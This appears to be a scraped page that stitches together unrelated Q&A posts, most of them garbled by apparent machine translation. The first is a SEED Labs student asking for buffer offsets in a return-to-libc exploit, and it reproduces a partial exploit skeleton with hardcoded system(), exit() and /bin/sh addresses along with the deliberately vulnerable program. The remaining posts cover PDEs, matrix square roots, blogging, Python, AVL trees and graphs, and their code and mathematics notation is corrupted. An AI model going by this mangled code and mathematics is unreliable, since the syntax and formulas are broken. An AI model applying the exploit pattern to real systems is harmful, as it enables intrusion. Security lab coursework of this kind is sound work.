How to find the buffer offset for Return to Libc Attack

I'm trying to find the buffer to implement my Seedlabs buffer attack on

The lab link is also here:

How do I find X Y Z in a Return To Libc attack with a buffer of 150?
This is the exploit code we were given. I have already found the addresses to which the buffers have to write, but I only need the X Y Z:


int main(int argc, char **argv) {

    char buf(40);
    FILE *badfile;
    badfile = fopen("./badfile", "w");

/* You need to decide the addresses and the values for X, Y, Z. The order of the following three
statements does not imply the order of X, Y, Z. Actually, we intentionally scrambled the order. */

    *(long *) &buf(X) = 0xbffffdd4; // /bin/sh

    *(long *) &buf(Y) = 0xb7e42da0; // system()

    *(long *) &buf(Z) = 0xb7e369d0; // exit()

    fwrite(buf, sizeof(buf), 1, badfile);



This is also the vulnerable program that we were given:


/* Changing this size will change the layout of the stack. * Instructors can change this value each
year, so students * won’t be able to use the solutions from the past. * Suggested value: between 0
and 200 (cannot exceed 300, or * the program won’t have a buffer-overflow problem). */

#ifndef BUF_SIZE
#define BUF_SIZE 150

int bof(FILE *badfile) {

    char buffer(BUF_SIZE);

    /* The following statement has a buffer overflow problem */ fread(buffer, sizeof(char), 300, 

    return 1;


int main(int argc, char **argv) {

    FILE *badfile;

    /* Change the size of the dummy array to randomize the parameters for this lab. Need to use the array         
    at least once */

    char dummy(BUF_SIZE*5); memset(dummy, 0, BUF_SIZE*5);

    badfile = fopen("badfile", "r");


    printf("Returned Properlyn");


    return 1;


Differential equations – find the canon form of $ u_ {tt} + (c + d) u_ {xt} + (cd) u_ {xx} = 0 $ (hyperbolic)

$ u_ {tt} + (c + d) u_ {xt} + (cd) u_ {xx} = 0 $

c, d are real numbers

we have to find its canonical form. I found that when $ c = d $ it is parabolic, otherwise it is hyperbolic.

$ delta $ Calculate is here.

I managed to find the equation if it is parabolic (delta = 0), but I tried to find the hyperbolic form (if delta> 0) and I did it.

On this picture you can see my calculations,
and here after inserting it into the given equation.

linear algebra – find the square root of a 7 * 7 matrix with real entries

Suppose I have the following symbolic 7 * 7 matrix

   mat= {{(a^2 b^2)/c^2, 0, 0, 0, 0, 0, (a^2 b^2 e11)/c^2}, {0, (a^2 b^2)/c^2,
       0, 0, 0, 0, (a^2 b^2 e22)/c^2}, {0, 0, (a^2 b^2)/c^2, 0, 0, 0, (
      a^2 b^2 e33)/c^2}, {0, 0, 0, (2 a^2 b^2)/c^2, 0, 0, (2 a^2 b^2 e12)/
      c^2}, {0, 0, 0, 0, (2 a^2 b^2)/c^2, 0, (2 a^2 b^2 e13)/c^2}, {0, 0, 
      0, 0, 0, (2 a^2 b^2)/c^2, (2 a^2 b^2 e23)/c^2}, {(a^2 b^2 e11)/
      c^2, (a^2 b^2 e22)/c^2, (a^2 b^2 e33)/c^2, (2 a^2 b^2 e12)/c^2, (
      2 a^2 b^2 e13)/c^2, (2 a^2 b^2 e23)/c^2, 
      b^2 (1 + (
         a^2 (e11^2 + 2 e12^2 + 2 e13^2 + e22^2 + 2 e23^2 + e33^2))/c^2)}}

for which I have the following information

a> 0, b> 0, c> 0, {e11, e22, e33, e12, e13, e23} are real.

How is it possible to symbolically get the square root of this matrix?

What I've tried so far has been to compose the matrix myself, but it doesn't give me a closed solution, although I declare the assumptions above, i.e. H.

 eigen= Assuming({e11,e22,e33,e12,e13,e23}(Element)Reals&&a>0&&b>0&&c>0,Eigenvalues(mat));

Are there other ways I can find the square root of this symbolic matrix?

Where can I find the names of bloggers?

I invite bloggers from to follow my blog and have 106 followers so far. I find their names so that I can send an invitation in comments they make.

But the names in the comments repeat themselves, although I try different types of blogs, from pets to politics to real estate and shopping blogs. Where can I find other WordPress bloggers to whom I can send an invitation?

Python – Find the percentage of HackerRank

I learn Python by detaching the HackerRank Python module. This problem is Find the percentage.

You have a record of N students. Each record contains that of the student
Name and percentages in math, physics and chemistry. The
Markers can be floating values. The user enters an N integer followed by
by the names and grades for N students. You have to save that
Record in a dictionary data type. The user then enters that of a student
Surname. Output the average percentage grades of this student.
Correct to two decimal places.

Sample receipt 0


Krishna 67 68 69

Arjun 70 98 63

Malika 52 56 60


Sample output 0


I need to improve this code using better features available in Python.

def percentage(name):
    Find percentage of marks of the student

    marks = student_marks(name)
    total_marks = 0
    for mark in marks:
        total_marks += mark

    return format(total_marks/len(marks), '.2f')

if __name__ == '__main__':
    n = int(input())
    student_marks = {}
    for _ in range(n):
        name, *line = input().split()
        scores = list(map(float, line))
        student_marks(name) = scores
    query_name = input()

Time complexity – find the median of two AVL trees in O (log (n))

So I'm trying to find the problem of finding the median in two AVL-BSTs in O (log (n)) time. We get two AVLs with a combined size of n (integers are randomly distributed, i.e. one can have n-1 elements while the other has 1). I'm trying to find an algorithm to solve this. Each node contains not only its integer value and pointer to its parent and child nodes, but also the subtree value for the subtree rooted on it. I approached this by first determining the number of elements n (we assume that this is always odd) using the subtree values ​​of the root of each AVL tree. The subtrees are A and B, where AL is the left subtree of A and AR is the right one, and so on. I first edited the AVL tree to a larger size and then compared the sizes of AL and AR. With this approach, I'm trying to rule out the existence of the median in one of the subtrees, but I'm currently confused as to how to do it. Any ideas? Thanks a lot

Efficiently find "unfounded edges" in a strongly connected diagram

I encountered a problem that I need to solve regarding dependency graphs. I simplified it as follows:

Consider a strongly connected Graph G = (V, E).

  • We define a subset of the vertices S ⊆ V as Source vertices.
  • We call an edge e = ((a,b) unfounded if there are none easy way from each source vertex to b that includes e. In other words, all paths from a source vertex that contain an edge e, must contain vertex b At least two times.

The problem:

  • Find all unfounded edges in G.

There are some obvious ways to do this inefficiently (e.g. a deep crossing for each edge in G), but I was wondering if there are any O (| E |) Approach. I have been struggling with it for a while and I "almost" solve it in linear time. Maybe that's impossible? I have no idea what the lower limit for efficiency is, and I was hoping that some readers here could help me find some efficient approaches.

dg.differentialgeometrie – Find a general solution for PDE using methods of properties

I have the PDE: $$ frac { partial f} { partial x} -3 frac { partial f} { partial y} = x + y, quad f (x, -2 x) = sin left (x ^ {2} right) forall x in mathbb {R} $$
I have two problems:

1) Find the properties

2) Find the general solution by adding an integral of the PDE to the general solution that corresponds to the homogeneous equation.

My attempt from problem 1:
$$ begin {align}
& partialielle_ {t} x = 1, quad x = t + g_ {1} (s) \
& partialielle_ {t} y = -3, quad y = -3 t + g_ {2} (s) \
& partielle_ {t} f = -2t + g_3 (s), quad f = -t ^ 2 + t * g_4 (s)
end {align} $$

Now I don't know how to proceed from here to solve problem 2. If someone can guide me on the right path (and correct me if my attempt at problem 1 is wrong), I would be grateful.